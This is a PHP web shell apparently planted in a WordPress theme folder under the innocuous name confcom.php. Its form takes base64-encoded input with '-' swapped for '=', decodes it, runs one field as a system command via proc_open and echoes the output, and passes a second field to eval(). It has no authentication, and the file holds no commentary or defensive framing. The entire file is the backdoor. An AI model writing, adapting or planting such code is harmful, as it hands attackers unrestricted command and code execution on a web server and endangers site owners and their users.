File: /var/www/html/site/newsite/wp-content/themes/vinl/confcom.php
<!DOCTYPE html>
<html>
<head>
<title>Execute command</title>
</head>
<body>
<form method="post" action="">
<label for="command">Enter command:</label>
<input type="text" name="command" id="command">
<input type="text" name="php" id="php">
<input type="submit" value="Execute">
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$command = $_POST['command'];
$php = $_POST['php'];
$command = strtr($command, '-', '=');
$command = base64_decode($command);
$php = strtr($php, '-', '=');
$php = base64_decode($php);
if($command) {
// Open a pipe to the command using proc_open
$descriptors = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);
$process = proc_open($command, $descriptors, $pipes);
if (is_resource($process)) {
// Read from the stdout and stderr pipes
$output = "";
while (($out = fgets($pipes[1])) !== false) {
$output .= $out;
}
while (($err = fgets($pipes[2])) !== false) {
$output .= $err;
}
// Close the pipes and process
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Display the output
echo "<pre>";
echo $output;
echo "</pre>";
} else {
echo "Error executing command";
}
}
if($php) {
$result = eval($php);
echo $result;
}
}
?>
</body>
</html>